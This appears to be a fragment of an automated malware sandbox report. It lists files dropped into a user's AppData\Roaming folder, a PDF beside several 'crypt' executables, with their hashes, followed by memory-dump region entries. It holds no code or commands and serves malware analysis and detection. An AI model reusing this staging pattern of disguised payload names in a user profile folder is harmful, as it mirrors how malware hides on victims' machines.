                                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                • C:\Users\Admin\AppData\Roaming\Document.pdf

                                  Filesize

                                  3KB

                                  MD5

                                  80a2593453c09724d152e841a3ff0865

                                  SHA1

                                  c73c293d18aac71c530d69ea03314f064f5c6386

                                  SHA256

                                  71d885fd0734c915b43ed11d45750aa67c53a11d6a95c9c8323d9fd6e3b413cd

                                  SHA512

                                  ff131d439c8e06a789fa82ab7d2640ba87ab03b165f6bbf0d8048baad81c797e45c96000312c37dd5d1a53a2996ce7d3b6ccab09470d52840e4e8344f5b04f67

                                • C:\Users\Admin\AppData\Roaming\File1crypt.exe

                                  Filesize

                                  1KB

                                  MD5

                                  273a0cfac73dc5c9525fe0b5d3b21dee

                                  SHA1

                                  e29164a17369cbc87a21fac0720249c288ab3097

                                  SHA256

                                  3708f0d7d78b4e11fd45fcadc6dc83105870bb8ec92eea2faa00e08989fca735

                                  SHA512

                                  337937ae23f2c7282e9a388791cb73857b22e766153e7dbd90b1fe69c66881f745218fe534baecca6a54e1a06d653753de52618ed965bbd24ff4c48ce8d8ed0f

                                • C:\Users\Admin\AppData\Roaming\File1crypt.exe

                                  Filesize

                                  217KB

                                  MD5

                                  29c11e7b0c44cbbfec546b0469dcc8a2

                                  SHA1

                                  1227f46ba3b08ebad1a6f3536d4e523f5830a12c

                                  SHA256

                                  572de60da00d0f6ef8657e766d84a5284f3a90d6b6d4cd8795ef1d5af95c0ee6

                                  SHA512

                                  143bf88b9d6d07bb0fb0b059d2b6ea2c529e9a401c55653e94fd79285a4e506e42cdd0bc0d5ae7877a0062d3de76dedf1f94c7cfaded7db0f57aa53b581cae06

                                • C:\Users\Admin\AppData\Roaming\File1crypt.exe

                                  Filesize

                                  138KB

                                  MD5

                                  d53f91c99e731fae151b03b600b1b05b

                                  SHA1

                                  3d06e3a29acdf75eef3698c0cf72e16990def99c

                                  SHA256

                                  3e16b688dd6eded9503ebf4a804adaae02e4628cc1cc52c749e17c3ed58123be

                                  SHA512

                                  5f60964eb2d4df0d0ff7544fb78568e01a7b0f9cd133e509ed17243f858b0acac415d85d03212746af207d4169d7b01a715a5ada92bfe52d417ac25cd55fd8d7

                                • C:\Users\Admin\AppData\Roaming\File1crypt.exe

                                  Filesize

                                  211KB

                                  MD5

                                  d28d630260b12cffcaf5afbd3fcd488d

                                  SHA1

                                  b5b2ffda8805165e393ed23fda6ee02b0de207a0

                                  SHA256

                                  5515c692e4b0b0d99d139baf53394d4eb2e16b05a7a1c906e1406c207e21c5a0

                                  SHA512

                                  81528282cee78b8fdbc795549131bfd2de9c6517664e12228a531999603d14c714faf644587e9618a147e96bf65950388d348c528875d56292d1b924c59cdba8

                                • C:\Users\Admin\AppData\Roaming\File2crypt.exe

                                  Filesize

                                  72KB

                                  MD5

                                  774c1a62c46b127185ce69e68b3eb323

                                  SHA1

                                  e3bdad0863ad95c1b21a86c4d510c85cae7020ec

                                  SHA256

                                  39818ea97715df3133afda16f56775e0f9928424e99f98e99557bd9b4cb12b54

                                  SHA512

                                  347a598bb94f87334d776b48bbf647a2390d213c450b8afa866497cb7f5ca8cc57fbd28a7d2b3d279fcf81958948c0a354b7cab5b568f8d3b6fbfe894f4bec74

                                • C:\Users\Admin\AppData\Roaming\File2crypt.exe

                                  Filesize

                                  36KB

                                  MD5

                                  cf17d3928737eab522ebb617737a6dff

                                  SHA1

                                  5c42ab8b20034607124f97cedb75e34dd80c9172

                                  SHA256

                                  e9765d102669d5457e38082b367469c3669889d459f5efd0f8a6c260356d2ae5

                                  SHA512

                                  af4903ecaa217cf3843b793b11ac387a205a3088defef08e4635929ed1de9bdb2c36fba11df17c84ca2b2a691edf2f9d4e51224242538e0bba18c992da0775ab

                                • C:\Users\Admin\AppData\Roaming\File2crypt.exe

                                  Filesize

                                  5KB

                                  MD5

                                  5f7664097ffe92ac09565fb443b70849

                                  SHA1

                                  b8f873c802be357a94d5162ee09f5c3e8ebc46e3

                                  SHA256

                                  4467b911160749f59ae0b2308b7270594fc241948aaeda13ff92e7066211f9a3

                                  SHA512

                                  52890416edbe90eab2b42dee114680edbab90051234edcde9a00db4b928056b3da1be04af4618a48afad193b76ec28a27c4ee0d7dd8fc3057a2429af0d84e2b9

                                • C:\Users\Admin\AppData\Roaming\File2crypt.exe

                                  Filesize

                                  96KB

                                  MD5

                                  194abb15d1b07f052be0b18ffa238050

                                  SHA1

                                  8ec9ff9eeb88645f6e6b538c3163cc4894f82ec2

                                  SHA256

                                  e8f4ee6351764bc703f118df85c629084f85bd325bcc1930f0982461938a4ecb

                                  SHA512

                                  52c5a71a023f290962a445bc5c6befd0ce8f7310b6c9185022c6b520a07a61f846b684fa1d7533ada37deeb868a59cd0997d9cd1459f32957b527701ca296805

                                • memory/2112-2410-0x0000000007140000-0x00000000071F2000-memory.dmp

                                  Filesize

                                  712KB

                                • memory/2112-2121-0x00000000057E0000-0x00000000057F0000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/2112-2140-0x0000000005CF0000-0x0000000005CF8000-memory.dmp

                                  Filesize

                                  32KB

                                • memory/2112-2139-0x00000000057B0000-0x00000000057D6000-memory.dmp

                                  Filesize

                                  152KB

                                • memory/2112-2138-0x0000000005C60000-0x0000000005CF2000-memory.dmp

                                  Filesize

                                  584KB

                                • memory/2112-2142-0x0000000006C20000-0x0000000006C28000-memory.dmp

                                  Filesize

                                  32KB

                                • memory/2112-2143-0x0000000006C40000-0x0000000006C5E000-memory.dmp

                                  Filesize

                                  120KB

                                • memory/2112-2087-0x0000000072170000-0x0000000072920000-memory.dmp

                                  Filesize

                                  7.7MB

                                • memory/2112-2086-0x0000000000400000-0x0000000000592000-memory.dmp

                                  Filesize

                                  1.6MB

                                • memory/2112-2141-0x0000000006C10000-0x0000000006C1A000-memory.dmp

                                  Filesize

                                  40KB

                                • memory/2112-2332-0x00000000057E0000-0x00000000057F0000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/2112-2334-0x00000000057E0000-0x00000000057F0000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/2112-2337-0x0000000006E90000-0x0000000006F0A000-memory.dmp

                                  Filesize

                                  488KB

                                • memory/2112-2412-0x0000000008300000-0x0000000008654000-memory.dmp

                                  Filesize

                                  3.3MB

                                • memory/2112-2430-0x0000000072170000-0x0000000072920000-memory.dmp

                                  Filesize

                                  7.7MB

                                • memory/2112-2437-0x00000000057E0000-0x00000000057F0000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/2112-2438-0x00000000057E0000-0x00000000057F0000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/2112-2439-0x00000000057E0000-0x00000000057F0000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/2236-79-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-51-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-39-0x0000000000070000-0x00000000001B6000-memory.dmp

                                  Filesize

                                  1.3MB

                                • memory/2236-41-0x0000000004BC0000-0x0000000004BD0000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/2236-115-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-113-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-105-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-101-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-73-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-71-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-67-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-65-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-61-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-59-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-55-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-53-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-49-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-45-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-44-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-42-0x0000000004A80000-0x0000000004BB6000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-40-0x0000000072170000-0x0000000072920000-memory.dmp

                                  Filesize

                                  7.7MB

                                • memory/2236-43-0x0000000004CD0000-0x0000000004E06000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-47-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-57-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-99-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-77-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-2007-0x0000000005190000-0x000000000525E000-memory.dmp

                                  Filesize

                                  824KB

                                • memory/2236-2008-0x0000000005000000-0x000000000504C000-memory.dmp

                                  Filesize

                                  304KB

                                • memory/2236-2002-0x0000000002510000-0x0000000002511000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/2236-97-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-63-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-69-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-75-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-81-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-2025-0x0000000072170000-0x0000000072920000-memory.dmp

                                  Filesize

                                  7.7MB

                                • memory/2236-87-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-83-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-85-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-89-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-91-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-95-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2236-93-0x0000000004CD0000-0x0000000004E01000-memory.dmp

                                  Filesize

                                  1.2MB

                                • memory/2348-2026-0x0000000000400000-0x0000000000578000-memory.dmp

                                  Filesize

                                  1.5MB

                                • memory/2348-2028-0x0000000072170000-0x0000000072920000-memory.dmp

                                  Filesize

                                  7.7MB

                                • memory/2348-2031-0x00000000053C0000-0x0000000005452000-memory.dmp

                                  Filesize

                                  584KB

                                • memory/2348-2129-0x0000000072170000-0x0000000072920000-memory.dmp

                                  Filesize

                                  7.7MB

                                • memory/2348-2069-0x0000000006330000-0x000000000633A000-memory.dmp

                                  Filesize

                                  40KB

                                • memory/2348-2037-0x0000000002C50000-0x0000000002C60000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/2348-2084-0x0000000008B80000-0x0000000008BD0000-memory.dmp

                                  Filesize

                                  320KB

                                • memory/3396-140-0x0000000005F80000-0x000000000618A000-memory.dmp

                                  Filesize

                                  2.0MB

                                • memory/3396-2078-0x0000000072170000-0x0000000072920000-memory.dmp

                                  Filesize

                                  7.7MB

                                • memory/3396-2088-0x0000000072170000-0x0000000072920000-memory.dmp

                                  Filesize

                                  7.7MB

                                • memory/3396-2079-0x0000000004490000-0x0000000004491000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/3396-2080-0x0000000006480000-0x0000000006622000-memory.dmp

                                  Filesize

                                  1.6MB

                                • memory/3396-129-0x0000000072170000-0x0000000072920000-memory.dmp

                                  Filesize

                                  7.7MB

                                • memory/3396-128-0x0000000000040000-0x0000000000258000-memory.dmp

                                  Filesize

                                  2.1MB

                                • memory/3396-131-0x0000000004BC0000-0x0000000004BD0000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/3396-137-0x0000000004BD0000-0x0000000004DD8000-memory.dmp

                                  Filesize

                                  2.0MB

                                • memory/4468-21-0x00000000066D0000-0x00000000066EA000-memory.dmp

                                  Filesize

                                  104KB

                                • memory/4468-17-0x0000000005CF0000-0x0000000006044000-memory.dmp

                                  Filesize

                                  3.3MB

                                • memory/4468-24-0x0000000008670000-0x0000000008CEA000-memory.dmp

                                  Filesize

                                  6.5MB

                                • memory/4468-20-0x00000000073F0000-0x0000000007486000-memory.dmp

                                  Filesize

                                  600KB

                                • memory/4468-0-0x0000000004C00000-0x0000000004C36000-memory.dmp

                                  Filesize

                                  216KB

                                • memory/4468-23-0x0000000007A40000-0x0000000007FE4000-memory.dmp

                                  Filesize

                                  5.6MB

                                • memory/4468-22-0x0000000006740000-0x0000000006762000-memory.dmp

                                  Filesize

                                  136KB

                                • memory/4468-19-0x00000000061E0000-0x000000000622C000-memory.dmp

                                  Filesize

                                  304KB

                                • memory/4468-18-0x00000000061A0000-0x00000000061BE000-memory.dmp

                                  Filesize

                                  120KB

                                • memory/4468-132-0x0000000072170000-0x0000000072920000-memory.dmp

                                  Filesize

                                  7.7MB

                                • memory/4468-12-0x0000000005B80000-0x0000000005BE6000-memory.dmp

                                  Filesize

                                  408KB

                                • memory/4468-5-0x0000000005310000-0x0000000005332000-memory.dmp

                                  Filesize

                                  136KB

                                • memory/4468-6-0x0000000005B10000-0x0000000005B76000-memory.dmp

                                  Filesize

                                  408KB

                                • memory/4468-4-0x00000000053B0000-0x00000000059D8000-memory.dmp

                                  Filesize

                                  6.2MB

                                • memory/4468-1-0x0000000072170000-0x0000000072920000-memory.dmp

                                  Filesize

                                  7.7MB

                                • memory/4468-2-0x0000000004D70000-0x0000000004D80000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/4468-3-0x0000000004D70000-0x0000000004D80000-memory.dmp

                                  Filesize

                                  64KB